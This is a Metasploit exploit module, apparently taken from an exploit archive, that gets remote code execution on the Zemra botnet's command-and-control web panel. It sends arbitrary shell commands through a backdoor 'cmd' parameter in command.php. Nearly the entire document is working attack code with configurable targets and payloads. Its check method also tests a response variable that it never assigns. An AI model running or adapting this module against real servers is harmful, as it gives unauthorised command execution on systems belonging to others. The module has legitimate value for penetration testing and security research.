Zemra Botnet CnC Web Panel Remote Code Execution

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'Zemra Botnet CnC Web Panel Remote Code Execution',  
'Description' => %q{  
This module exploits the CnC web panel of Zemra Botnet which contains a backdoor  
inside its leaked source code. Zemra is a crimeware bot that can be used to  
conduct DDoS attacks and is detected by Symantec as Backdoor.Zemra.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Jay Turla <@shipcod3>', #Metasploit Module  
'Angel Injection', #Initial Discovery (PoC from Inj3ct0r Team)  
'Darren Martyn <@info_dox>' #Initial Discovery  
],  
'References' =>  
[  
['URL', 'http://0day.today/exploit/19259'],  
['URL', 'http://insecurety.net/?p=144'], #leaked source code and backdoor intro  
['URL', 'http://www.symantec.com/connect/blogs/ddos-attacks-zemra-bot']  
],  
'Privileged' => false,  
'Payload' =>  
{  
'Space' => 10000,  
'DisableNops' => true,  
'Compat' =>  
{  
'PayloadType' => 'cmd'  
}  
},  
'Platform' => %w{ unix win },  
'Arch' => ARCH_CMD,  
'Targets' =>  
[  
['zemra panel / Unix', { 'Platform' => 'unix' } ],  
['zemra panel / Windows', { 'Platform' => 'win' } ]  
],  
'DisclosureDate' => 'Jun 28 2012',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI',[true, "The path of the backdoor inside Zemra Botnet CnC Web Panel", "/Zemra/Panel/Zemra/system/command.php"]),  
],self.class)  
end  
  
def check  
txt = Rex::Text.rand_text_alpha(8)  
http_send_command(txt)  
if res && res.body =~ /cmd/  
return Exploit::CheckCode::Vulnerable  
end  
return Exploit::CheckCode::Safe  
end  
  
def http_send_command(cmd)  
uri = normalize_uri(target_uri.path.to_s)  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => uri,  
'vars_get' =>  
{  
'cmd' => cmd  
}  
})  
unless res && res.code == 200  
fail_with(Failure::Unknown, 'Failed to execute the command.')  
end  
res  
end  
  
def exploit  
http_send_command(payload.encoded)  
end  
end  
`